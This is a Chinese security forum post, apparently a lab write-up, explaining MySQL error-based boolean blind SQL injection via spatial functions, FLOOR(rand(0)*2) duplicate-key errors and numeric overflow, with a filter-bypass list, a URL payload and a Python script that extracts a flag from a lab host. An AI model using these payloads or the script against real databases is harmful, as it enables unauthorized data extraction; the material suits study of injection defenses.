用户
搜索
  • TA的每日心情
    慵懒
    2021-3-16 11:41
  • 签到天数: 5 天

    连续签到: 1 天

    [LV.2]偶尔看看

    i春秋作家

    Rank: 7Rank: 7Rank: 7

    4

    主题

    7

    帖子

    118

    魔法币
    收听
    0
    粉丝
    0
    注册时间
    2018-11-4

    i春秋签约作者春秋文阁

    发表于 2021-3-16 11:40:13 38537

    一种基于运行错误的Bool型盲注原理剖析

    前言

    老规矩,我已经将靶机封装到Docker镜像中供各位观众姥爷们食用。

    靶机Docker镜像:gqleung/spatial_functions_blind_inject

    什么是基于运行错误的Bool型盲注

    简单的说就是它能够通过MYSQL解释器检查,但是运行时候又会产生错的函数。我们可以用它来进行布尔型盲注。我们下面就来讲解一下一些能够通过MYSQL解释器的预检查却在运行时候出现错误的SQL函数。

    <span id="spatial">Spatial Functions</span>

    ST_GeomFromTextST_MPointFromText是两个可以从文本中解析Spatial function的函数,如果我们的语法各方面都复合mysql的规则,如果我们在解析文本中做手脚呢?MYSQL解释器不会检查一个字符串是否复合MYSQL语法要求,很明显这样我们就可以绕过MYSQL预检查,但是在运行时候又「恰逢其时」地出错,这样我们就可以进行Bool盲注了。需要注意的是ST_GeomFromText针对的是POINT()函数,ST_MPointFromText针对的是MULTIPOINT()函数的。

    ST_GeomFromText为例:

    例如构造如下SQL语句,很明显POINT函数传入的必须是GIS中的地理坐标的数据类型,这里写入的是一个常量或者undefined类型,但是他却能正常运行。

    mysql> SELECT IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
    +---------------------------------------------------+
    | IF(0, ST_X(ST_GeomFromText('POINT(gqleung)')), 0) |
    +---------------------------------------------------+
    |                                                 0 |
    +---------------------------------------------------+
    1 row in set (0.00 sec)

    WX20210126-011441@2x

    假设我们将if的表达式改成false呢,很明显会执行中间的参数,POINT的数据类型错误会导致报错。

    mysql> SELECT IF(1, ST_X(ST_GeomFromText('POINT(gqleung)')), 0);
    ERROR 3037 (22023): Invalid GIS data provided to function st_geometryfromtext.

    WX20210126-012024@2x

    • 注意在Mysql5.7.6以上版本 ST_X、ST_GeomFromText已经被弃用,使用ST_GeomFromText('POINT(mads)')代替即可

    总结,其他可用的函数:

    SELECT IF({}, ST_X(ST_GeomFromText('POINT(mads)')), 0);
    SELECT IF({}, ST_MPointFromText('MULTIPOINT (mads)'),0);
    SELECT IF({}, ST_X(MADS), 0);
    SELECT IF({}, ST_MPointFromText('MADS'),0);
    SELECT IF({}, ST_GeomFromText('MADS'),0);

    我们再来看我们的靶机(Docker镜像:gqleung/tmd_sz_fsl)

    经过fuzz可以发现这个靶机不论参数传递数字都是会返回同一张图,但是如果存在被ban掉的字符会返回如下图:

    WX20210126-014859@2x

    我们可以借此FUZZ出被ban掉的关键字:

    union、*、'、"、substr、mid、=、like、into、file、sleep、benchmark、 、^、or、、、、&、>、<、#、-、ascii、ord、floor、extractvalue、updatexml、if、rp、rep、GET_LOCK、info
    • 这里过滤了空格,这里可以直接用\t来代替空格,URL编码后是%09,在写脚本时候可以使用TAB键来代替。

    • 过滤了单双引号,可以使用十六进制来代替字符串。
    • 过滤了if可以使用case when....then....else...end代替
    • 过滤了等于号、大于、小于、减号、like、我们可以使用正则表达式来判断也就是regexp

    我们通过上面所讲解的ST_GeomFromText,结合上述过滤考点,构造如下payload,当然空格要用%09代替。

    index.php?cat=1%09and%09IF(0,ST_X(ST_GeomFromText(0x504F494E54286D61647329)),0)

    如果if表达式为false可以发现返回正常的页面:

    WX20210126-020116@2x

    若if表达式为true,那么将会返回运行错误的页面:

    WX20210126-020240@2x

    据此编写Python脚本:

    #author:Gqleung
    #Email:  admin@plasf.cn
    #blog:   http://www.plasf.cn
    
    import requests
    
    def ord2hex(string):
        result = ""
        for i in string:
            r = hex(ord(i));
            r = r.replace('0x','')
            result = result+r
        return '0x'+result
    
    url = "http://47.98.234.232:28076/index.php?cat="
    tables = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-}{'
    result=""
    for i in range(1,70):
        for j in tables:
            if j =="{" or j=="}":
                j='\\'+j
            payload = "1    and IF((select  flag    from    flag)   regexp  binary  %s, ST_X(ST_GeomFromText(0x504F494E54286D61647329)),    0)"%(ord2hex("^"+result+j))
            r = requests.get(url+payload);
            if 'cat' not in r.text:
                result=result+j
                print(result.replace('\\',''))
                break

    运行结果:

    WX20210126-021628@2x

    FLOOR(X)

    咱们先了解主键重复报错注入的原理

    主键重复报错注入

    <span id="floor">FLOOR(X)</span>

    该函数返回X的最大整数值,但不能大于X,也就是向下取整。

    例如,下列语句5.20返回的值将会是5.

    select floor(5.20)

    WX20201225-083818@2x

    我们先来看Payload再来分析其中的原理

    select count(*),(concat(floor(rand(0)*2),(select user())))x from user group by x;
    • Q1为什么用floor(rand(0)*2)?

    要回答这个问题,必须从floor报错注入的原理理解:

    例如,user()中含有五条数据:

    select rand() from user

    WX20201225-093334@2x

    可以发现会随机生成小于0的随机数。当然rand()*2生成0-1的随机数

    WX20201225-093851@2x

    加上floor就是取整。会生成0或者1的随机值:

    WX20201225-094006@2x

    但是为什么用rand(0)呢?

    Rand()两次运行的结果,可以明显地看到rand()产生的结果是随机的。

    WX20201225-094117@2x

    WX20201225-094710@2x

    Rand(0)两次运行的结果,可以发现两次运行的结果完全一致,说明rand(0)是伪随机的。

    WX20201225-094830@2x

    WX20201225-094830@2x

    我们再来了解一下group by 的运作过程。

    GROUP BY 语句用于结合聚合函数,根据一个或多个列对结果集进行分组。

    例如:如下SQL语句:

    select id as "number", contents as "内容" from cat group by number

    执行该sql语句会生成一个新的虚拟表,group by 即指定虚拟表中的对应字段来作为主键。

    WX20210120-131144@2x

    我们知道主键只能是唯一的,如果主键出现重复的情况就会发生报错,将重复的主键输出在报错信息中,我们回过头来看报错注入的Payload.

    select count(*),(concat(floor(rand(0)*2),(select user())))x from user group by x;

    我们看到这里以x 为主键,rand(0)*2生成0-2之间的伪随机数,同时使用floor来取整,出现的只能是值为0或者1(当然前提是表所存储的记录条数要>3条才有可能重复)。使用concat将要查询的内容拼接入主键,这样在报错时会将咱们想要的内容作为报错信息输出。

    例如:

    WX20210120-133637@2x

    注:输出字符长度限制为64个字符

    我们了解完FLOOR(X)报错注入原理后开始从FLOOR(X)报错注入盲注来简述其中的道理,我们直接从payload来看:

    select count(*),floor(rand(0)*2)x from cat group by if(1,x,0);

    我们知道floor(rand(0)*2)产生的随机数是伪随机数范围在0-1,如果将其参数的结果作为主键就会造成报错,假设我们用if语句来控制x是否作为主键呢?这就有可能造成不报错的情况,用此来作为报错注入盲注。通常情况与Spatial Functions报错注入盲注类似。

    mysql> select count(*),floor(rand(0)*2)x from cat group by if(1,x,0);
    ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
    mysql> select count(*),floor(rand(0)*2)x from cat group by if(0,x,0);
    +----------+---+
    | count(*) | x |
    +----------+---+
    |        2 | 0 |
    +----------+---+
    1 row in set (0.00 sec)

    数据溢出型

    在报错注入中数据溢出的函数同样可用如下。

    mysql> select pow(2,1024);
    ERROR 1690 (22003): DOUBLE value is out of range in 'pow(2,1024)'
    mysql> select cot(0);
    ERROR 1690 (22003): DOUBLE value is out of range in 'cot(0)'
    mysql> select exp(710);
    ERROR 1690 (22003): DOUBLE value is out of range in 'exp(710)'

    个人博客:https://www.plasf.cn
    师傅tql
    使用道具 举报 回复
    师傅厉害啊!
    使用道具 举报 回复
    发表于 2021-4-2 15:29:25
    让我们一起干大事!
    有兴趣的表哥加村长QQ:780876774!
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册